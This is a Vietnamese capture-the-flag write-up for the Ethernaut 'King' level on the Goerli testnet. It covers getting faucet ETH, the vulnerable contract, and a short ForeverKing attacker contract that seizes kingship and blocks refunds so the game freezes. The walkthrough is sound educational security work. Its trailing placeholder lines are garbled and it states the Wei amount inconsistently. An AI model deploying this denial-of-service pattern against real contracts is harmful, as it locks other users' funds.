

King

1. Thực hiện việc kiểm ETH:

Sử dụng: <https://goerli-faucet.pk910.de/> - để lấy được một số ETH cho ví bằng cách:

- + Điền ETH address của mình vào:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



0x92141B14ddB92C256eFB3f1F464b042164570Af9

- + Sau đó start Mining:

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Target Address:

0x92141B14ddb92C256eFB3f1F464b042164570Af9

Your Mining Reward:

0 GöETH

Current Hashrate:

0 H/s

Number of Workers:

0 / 4



Minimum Claim Reward:

0.02 GöETH

Maximum Claim Reward:

1 GöETH

Remaining Session Time:

11h 59min

Total Shares:

0

Avg. Reward per Hour:

0 GöETH/h

Reward Boost:

+ 0%

Boost

Stop Mining

- + Trong trường hợp máy lag hoặc muốn tăng công suất có thể thêm và giảm bớt công việc tại Number of Workers.

- + Đến khi kiểm đủ số lượng có thể rút thì có thể dừng lại và nhận ETH

Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: 2023-08-11 20:21 (23h 47min)
Captcha:



Tôi không phải là người
máy



reCAPTCHA
Bảo mật - Điều khoản

Claim Rewards

Goerli PoW Faucet


The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9
Amount: 0.037 GÖETH
Timeout: -

Claim Transaction has been confirmed in block #9494425!

TX: [0xee3c472ae50e02f9a46b354ce2e18e02b83fa546079f95b3f392042e5e457d6b](#)

Did you like the faucet? Give that project a  Star 1,713

Or support this faucet by sharing your result with a  Tweet  Post

[Return to startpage](#)

=> Và ta đã có đủ số ETH để tiếp tục tham ra vào Ethernaut

2. Xác định yêu cầu đề bài:

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

    address king;
    uint public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}
```

3. Giải quyết bài toán

Ta phải giành lại prize cho King bằng cách tạo một hợp đồng triển khai trên Remix solidity Kingship được chuyển sang receive là khi một giá trị cụ thể được gửi đến King. Vì vậy, chúng ta sẽ phải bằng cách nào đó ngăn chặn việc thực thi receive.

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.6.0;
3
4 contract ForeverKing {
5     function claimKingship(address payable _to) public payable {
6         (bool sent, ) = _to.call.value(msg.value)("");
7         require(sent, "Failed to send value!");
8     }
9 }
```

Ta truy vấn số lượng prize hiện tại:

```
> await contract.prize().then(v => v.toString())  
< '10000000000000000'  
> |
```

Vậy cần ít nhất '10000000000000000' để giành lại vương quyền.
Deploy code và chạy với 100000000000000 Wei

DEPLOY & RUN TRANSACTIONS ✓ >

ENVIRONMENT

Injected Provider - MetaMask ⓘ

Goerli (5) network

ACCOUNT ⓘ

0x921...70Af9 (0.171561162) ⓘ ⓘ

GAS LIMIT

100000000

VALUE

10000000000000000 Wei ⓘ

CONTRACT

ForeverKing - 9. King/King.sol ⓘ

evm version: istanbul

Deploy

☐ Publish to IPFS

At Address 0x3C85A86826f0d483FdE7398:

Bước cuối cùng là Submit level

Submitting level instance... < < <<PLEASE WAIT>> > >

Sent transaction <https://goerli.etherscan.io/tx/0xed5f80c...>

Mined transaction <https://goerli.etherscan.io/tx/0xed5f80c...>

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]

0x[...]